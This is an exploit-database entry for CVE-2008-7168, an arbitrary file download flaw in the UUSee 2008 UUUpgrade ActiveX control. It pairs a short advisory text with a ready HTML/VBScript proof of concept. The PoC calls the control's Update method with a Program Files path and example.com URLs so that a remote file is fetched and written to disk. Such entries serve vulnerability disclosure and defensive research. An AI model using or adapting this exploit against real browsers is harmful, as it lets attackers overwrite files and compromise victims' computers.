UUSee 2008 - UUUpgrade ActiveX Control 'Update' Method Arbitrary File Download

Author: Symantec
type: remote
platform: windows
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date_added: 2008-06-26  
date_updated: 2014-02-28  
verified: 1  
codes: CVE-2008-7168;OSVDB-57819  
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raw file: 31980.html  
source: https://www.securityfocus.com/bid/29963/info

UUSee is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible.

UUSee 2008 is vulnerable; other versions may also be affected.

<html> <object classid='clsid:2CACD7BB-1C59-4BBB-8E81-6E83F82C813B' id='target'></object> <script language='vbscript'> arg1="\Program Files\Common Files\uusee\" arg2="http://www.example.com/UU.ini" arg3="http://www.example2.com/mini3/uusee_client_update/remark.php" arg4=1 target.Update arg1 ,arg2 ,arg3 ,arg4 </script> </html>